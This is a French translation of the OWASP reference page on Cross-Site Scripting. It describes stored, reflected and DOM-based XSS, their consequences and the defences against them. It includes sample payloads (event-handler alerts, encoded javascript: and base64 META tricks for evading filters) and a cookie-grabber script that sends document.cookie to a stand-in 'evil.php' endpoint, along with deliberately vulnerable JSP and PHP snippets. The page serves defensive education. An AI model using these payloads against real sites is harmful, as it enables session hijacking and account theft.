Contributeur(s) : Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon, kingthorin
Overview
Les attaques Cross-Site Scripting (XSS) sont un type d’injection, dans lequel des scripts malveillants sont injectés dans des sites web par ailleurs bénins et de confiance. Les attaques XSS se produisent lorsqu’un attaquant utilise une application web pour envoyer du code malveillant, généralement sous la forme d’un script côté navigateur, à un autre utilisateur final. Les failles qui permettent à ces attaques de réussir sont assez répandues et se produisent partout où une application web utilise l’entrée d’un utilisateur au sein de la sortie qu’elle génère sans la valider ou la coder.
Un attaquant peut utiliser XSS pour envoyer un script malveillant à un utilisateur sans méfiance. Le navigateur de l’utilisateur final n’a aucun moyen de savoir que le script ne doit pas être fiable, et il l’exécute. Comme il pense que le script provient d’une source fiable, le script malveillant peut accéder à tous les cookies, jetons de session ou autres informations sensibles conservés par le navigateur et utilisés sur le site. Ces scripts peuvent même réécrire le contenu de la page HTML. Pour plus de détails sur les différents types de failles XSS, voir : Types de scripts intersites.
Comment éviter les vulnérabilités de script intersite
- Aide-mémoire sur la prévention du XSS (Cross Site Scripting)
- Aide-mémoire sur la prévention du XSS basé sur le DOM
- Article du guide de développementOWASP sur la validation des données
- Article du guide de développementOWASP sur l’hameçonnage
Comment examiner le code pour détecter les vulnérabilités de script intersite
.site scripting Vulnerabilities
Voir le guide d’examen du code de l’OWASP.
Comment tester les vulnérabilités de script intersite
Voir le dernier article du guide de test de l’OWASP sur la façon de tester les différents types de vulnérabilités XSS.
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-based_Cross_site_scripting
Description
Les attaques Cross-Site Scripting (XSS) se produisent lorsque :
- Des données entrent dans une application Web par une source non fiable, le plus souvent une requête Web.
- Les données sont incluses dans un contenu dynamique qui est envoyé à un utilisateur Web sans être validé pour le contenu malveillant.
Le contenu malveillant envoyé au navigateur Web prend souvent la forme d’un segment de JavaScript, mais peut également inclure du HTML, du Flash, ou tout autre type de code que le navigateur peut exécuter. La variété des attaques basées sur XSS est presque illimitée, mais elles incluent généralement la transmission de données privées, comme les cookies ou d’autres informations de session, à l’attaquant, la redirection de la victime vers un contenu web contrôlé par l’attaquant, ou l’exécution d’autres opérations malveillantes sur la machine de l’utilisateur sous le couvert du site vulnérable.
Attaques XSS stockées et réfléchies
Les attaques XSS peuvent généralement être classées en deux catégories : stockées et réfléchies. Il existe un troisième type d’attaque XSS, beaucoup moins connu, appelé DOM Based XSS, qui fait l’objet d’une discussion séparée ici.
Attaque XSS stockée
Les attaques stockées sont celles où le script injecté est stocké de façon permanente sur les serveurs cibles, par exemple dans une base de données, dans un forum de messages,un journal des visiteurs, un champ de commentaires, etc. La victime récupère ensuite le script malveillant sur le serveur lorsqu’elle demande les informations stockées. StoredXSS est aussi parfois appelé Persistent ou Type-I XSS.
Attaques XSS réfléchies
Les attaques réfléchies sont celles où le script injecté est reflété hors du serveur web, comme dans un message d’erreur, un résultat de recherche ou toute autre réponse qui inclut une partie ou la totalité de l’entrée envoyée au serveur dans le cadre de la requête. Lorsqu’un utilisateur est incité à cliquer sur un lien malveillant, à remplir un formulaire spécialement conçu ou même à naviguer sur un site malveillant, le code injecté se rend sur le site web vulnérable, qui renvoie l’attaque au navigateur de l’utilisateur. Le navigateur exécute alors le code, car il provient d’un serveur « de confiance ». Le XSS réfléchi est aussi parfois appelé non persistant ou XSS de type II.
Autres types de vulnérabilités XSS
En plus du XSS stocké et réfléchi, un autre type de XSS, le DOM BasedXSS a été identifié par Amit Klein en 2005. L’OWASP recommande la catégorisation XSS telle que décrite dans l’article de l’OWASP:Types of Cross-Site Scripting, qui couvre tous ces termes XSS, en les organisant en une matrice de Stored vs ReflectedXSS et Server vs. Client XSS, où DOM Based XSS est un sous-ensemble de ClientXSS.
Conséquences des attaques XSS
La conséquence d’une attaque XSS est la même, qu’elle soit stockée ou réfléchie (ou DOM Based). La différence réside dans la façon dont la charge utile arrive au serveur. Ne vous laissez pas berner par l’idée qu’un site en « lecture seule » ou « brochure » n’est pas vulnérable à de graves attaques XSS réfléchies. Le XSS peut causer une variété de problèmes pour l’utilisateur final, allant d’une simple gêne à la compromission complète d’un compte. Les attaques XSS les plus graves impliquent la divulgation du cookie de session de l’utilisateur, permettant à un attaquant de détourner la session de l’utilisateur et de prendre le contrôle du compte. D’autres attaques dommageables comprennent la divulgation des fichiers de l’utilisateur final, l’installation de programmes de type cheval de Troie, la redirection de l’utilisateur vers une autre page ou un autre site, ou la modification de la présentation du contenu. Une vulnérabilité XSS permettant à un attaquant de modifier un communiqué de presse ou un article d’actualité pourrait affecter le cours de l’action d’une société ou réduire la confiance des consommateurs. Une vulnérabilité XSS sur un site pharmaceutique pourrait permettre à un attaquant de modifier les informations relatives à la posologie, entraînant une surdose. Pour plus d’informations sur ces types d’attaques, voirContent_Spoofing.
Comment déterminer si vous êtes vulnérable
Les failles XSS peuvent être difficiles à identifier et à supprimer d’une application web. La meilleure façon de trouver les failles est d’effectuer une revue de sécurité du code et de rechercher tous les endroits où les entrées d’une requête HTTP pourraient éventuellement se retrouver dans la sortie HTML. Notez qu’une variété de balises HTML différentes peuvent être utilisées pour transmettre un JavaScript malveillant.Nessus, Nikto et d’autres outils disponibles peuvent aider à analyser un site Web pour ces failles, mais ne peuvent qu’effleurer la surface. Si une partie d’un site web est vulnérable, il est fort probable qu’il existe également d’autresproblèmes.
Comment se protéger
Les principales défenses contre le XSS sont décrites dans la fiche de prévention XSS de l’OWASP.
Il est également crucial de désactiver le support HTTP TRACE sur tous les serveurs web. Un attaquant peut voler les données des cookies via Javascript même lorsqueendocument.cookie est désactivé ou non pris en charge par le client. Cette attaque est mise en place lorsqu’un utilisateur publie un script malveillant sur un forum. Ainsi, lorsqu’un autre utilisateur clique sur le lien, un appel HTTP Trace asynchrone est déclenché et collecte les informations de cookie de l’utilisateur sur le serveur, puis les envoie à un autre serveur malveillant qui collecte les informations de cookie afin que l’attaquant puisse organiser une attaque par détournement de session.Ceci est facilement atténué en supprimant la prise en charge de HTTP TRACE sur tous les serveurs web.
Le projet OWASP ESAPI a produit un ensemble de composants de sécurité réutilisables dans plusieurs langages, y compris des routines de validation et d’échappement pour empêcher l’altération des paramètres et l’injection d’attaques XSS. En outre, l’application de formation du projet OWASP WebGoat comporte des leçons sur le Cross-Site Scripting et le codage des données.
Alternative XSS Syntax
XSS Using Script in Attributes
Les attaques XSS peuvent être menées sans utiliser <script>...</script>
tags. D’autres balises feront exactement la même chose, par exemple :<body onload=alert('test1')>
ou d’autres attributs comme : onmouseover
onerror
.
onmouseover
<b onmouseover=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS Using Script Via Encoded URI Schemes
Si nous devons nous cacher contre les filtres des applications web, nous pouvons essayer d’encoder des caractères, par ex.g. : a=&\#X41
(UTF-8) et de les utiliser dans les balises IMG
:
<IMG SRC=jAvascript:alert('test2')>
Il existe de nombreuses notations d’encodage UTF-8 différentes qui nous donnent encore plus de possibilités.
XSS Using Code Encoding
Nous pouvons encoder notre script en base64 et le placer dans la balise META
. De cette façon, nous nous débarrassons totalement de alert()
. Vous trouverez plus d’informations sur cette méthode dans le RFC 2397
<META HTTP-EQUIV="refresh"CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
Ces exemples, ainsi que d’autres, se trouvent sur le site OWASP XSS Filter Evasion Cheat Sheet qui est une véritable encyclopédie de l’attaque par syntaxe XSS alternative.
Exemples
Les attaques cross-site scripting peuvent se produire partout où des utilisateurs éventuellement malveillants sont autorisés à poster du matériel non réglementé sur un site web de confiance pour la consommation d’autres utilisateurs valides.
L’exemple le plus courant peut être trouvé dans les sites Web de tableaux d’affichage qui fournissent une fonctionnalité de style liste de diffusion basée sur le Web.
Exemple 1
Le segment de code JSP suivant lit un identifiant d’employé, eid, à partir d’une requête HTTP et l’affiche à l’utilisateur.
<% String eid = request.getParameter("eid"); %>...Employee ID: <%= eid %>
Le code de cet exemple fonctionne correctement si eid
ne contient que du texte alphanumérique standard. Si eid
a une valeur qui inclut des caractères méta ou du code source, alors le code sera exécuté par le navigateur web lorsqu’il affichera la réponse HTTP.
Initialement, cela pourrait ne pas sembler être une grande vulnérabilité. Après tout, pourquoi quelqu’un entrerait-il une URL qui provoque l’exécution d’un code malveillant sur son propre ordinateur ? Le véritable danger est qu’un attaquant crée l’URL malveillante, puis utilise des astuces d’e-mail ou d’ingénierie sociale pour inciter les victimes à visiter un lien vers l’URL. Lorsque les victimes cliquent sur le lien, elles renvoient involontairement le contenu malveillant vers leur propre ordinateur par l’intermédiaire de l’application Web vulnérable. Ce mécanisme d’exploitation des applications web vulnérables est connu sous le nom de Reflected XSS.
Exemple 2
Le segment de code JSP suivant interroge une base de données pour un employé avec un ID donné et imprime le nom de l’employé correspondant.
<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp wherename");%>Employee Name: <%= name %>
Comme dans l’exemple 1, ce code fonctionne correctement lorsque les valeurs du nom sont bien conduites, mais il ne fait rien pour empêcher les exploits si elles ne le sont pas. Encore une fois, ce code peut sembler moins dangereux car la valeur de name est lue depuis une base de données, dont le contenu est apparemment géré par l’application. Cependant, si la valeur de name provient de données fournies par l’utilisateur, alors la base de données peut être un conduit pour du contenu malveillant. En l’absence d’une validation appropriée des entrées pour toutes les données stockées dans la base de données, un attaquant peut exécuter des commandes malveillantes dans le navigateur Web de l’utilisateur. Ce type d’exploitation, connu sous le nom de Stored XSS, est particulièrement dangereux car l’indirection causée par le stockage des données rend plus difficile l’identification de la menace et augmente la possibilité que l’attaque touche plusieurs utilisateurs. Le XSS a débuté sous cette forme avec les sites Web qui proposaient un « livre d’or » aux visiteurs. Les attaquants incluaient duJavaScript dans leurs entrées de livre d’or, et tous les visiteurs suivants de la page du livre d’or exécutaient le code malveillant.
Comme le montrent ces exemples, les vulnérabilités XSS sont causées par un code qui inclut des données non validées dans une réponse HTTP. Il existe trois vecteurs par lesquels une attaque XSS peut atteindre une victime :
- Comme dans l’exemple 1, les données sont lues directement à partir de la requête HTTP et réfléchies dans la réponse HTTP. Les exploits XSS réfléchis se produisentquand un attaquant amène un utilisateur à fournir un contenu dangereux à une application web avulnérable, qui est ensuite réfléchi à l’utilisateur et exécuté par le navigateur web. Le mécanisme le plus courant pour fournir du contenu malveillant consiste à l’inclure en tant que paramètre dans une URL qui est affichée publiquement ou envoyée directement par courrier électronique aux victimes. Les URL construites de cette manière constituent le cœur de nombreux schémas de phishing, par lesquels un attaquant convainc les victimes de visiter une URL qui renvoie à un site vulnérable. Une fois que le site renvoie le contenu de l’attaquant à l’utilisateur, le contenu est exécuté et procède au transfert d’informations privées, telles que des cookies pouvant inclure des informations de session, de la machine de l’utilisateur à l’attaquant ou à d’autres activités néfastes.
- Comme dans l’exemple 2, l’application stocke des données dangereuses dans une base de données ou un autre stockage de données de confiance. Les données dangereuses sont ensuite relues dans l’application et incluses dans le contenu dynamique. Les exploits XSS stockés se produisent lorsqu’un attaquant injecte du contenu dangereux dans un magasin de données qui est ensuite lu et inclus dans le contenu dynamique. Du point de vue d’un attaquant, l’endroit optimal pour injecter du contenu malveillant est une zone qui est affichée pour de nombreux utilisateurs ou des utilisateurs particulièrement intéressants. Les utilisateurs intéressants ont généralement des privilèges élevés dans l’application ou interagissent avec des données sensibles qui ont de la valeur pour l’attaquant. Si l’un de ces utilisateursexécute un contenu malveillant, l’attaquant peut être en mesure d’effectuer des opérationsprivilégiées au nom de l’utilisateur ou d’accéder àdes données sensibles appartenant à l’utilisateur.
- Une source extérieure à l’application stocke des données dangereuses dans une base de donnéesou un autre magasin de données, et les données dangereuses sont ensuite relues dans l’application en tant que données de confiance et incluses dans le contenu dynamique.
Exemples d’attaque
Exemple 1 : Cookie Grabber
Si l’application ne valide pas les données d’entrée, l’attaquant peut facilement voler un cookie à un utilisateur authentifié. Tout ce que l’attaquant doit faire, c’est placer le code suivant dans n’importe quelle entrée affichée (c’est-à-dire : forums de discussion, messages privés, profils d’utilisateurs):
<SCRIPT type="text/javascript">var adr = '../evil.php?cakemonster=' + escape(document.cookie);</SCRIPT>
Le code ci-dessus transmettra un contenu échappé du cookie (selon la RFC, le contenu doit être échappé avant de l’envoyer via le protocole HTTP avec le mode GET) au script evil.php dans la variable « cakemonster ». L’attaquant vérifie ensuite les résultats de son script evil.php (un script de capture de cookie écrira généralement le cookie dans un fichier) et l’utilise.
Exemple de page d’erreur
Supposons que nous ayons une page d’erreur, qui traite les demandes pour une page inexistante, une page d’erreur 404 classique. Nous pouvons utiliser le code ci-dessous comme exemple pour informer l’utilisateur sur la page spécifique qui manque:
<html><body><? phpprint "Not found: " . urldecode($_SERVER);?></body></html>
Voyons comment cela fonctionne : http://testsite.test/file_which_not_exist
En réponse, nous obtenons : Not found: /file_which_not_exist
Nous allons maintenant essayer de forcer la page d’erreur à inclure notre code : http://testsite.test/<script>alert("TEST");</script>
Le résultat est le suivant : Not found: / (but with JavaScript code <script>alert("TEST");</script>)
Nous avons réussi à injecter le code, notre XSS ! Qu’est-ce que cela signifie ? Forexample, que nous pouvons utiliser cette faille pour tenter de voler le sessioncookie d’un utilisateur.
- Attaques XSS
- Invocation de code mobile non fiable
- Manipulation d’historique de site croisé (XSHM)
- Validation incorrecte des données
- Types de Cross-.Site Scripting
- Article du guide de développement duOWASP sur la validation des données
- Article du guide de développement duOWASP sur le phishing
- Validation des données
- .
- La fiche de prévention XSS (Cross Site Scripting) deOWASP
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-.based_Cross_site_scripting
- La FAQ sur les scripts intersites
- La fiche de conseils sur l’évasion du filtre XSS de l’OWASP
- Avis du CERT sur les balises HTML malveillantes
- CERT « Understanding Malicious Content Mitigation
- Comprendre les causes et les effets des vulnérabilités CSS
- XSSed – Informations sur les scripts intersites (XSS) et archive miroir des sites Web vulnérables
Catégorie :InjectionCatégorie:Projet Top Ten de l’OWASPCatégorie:Attaque
.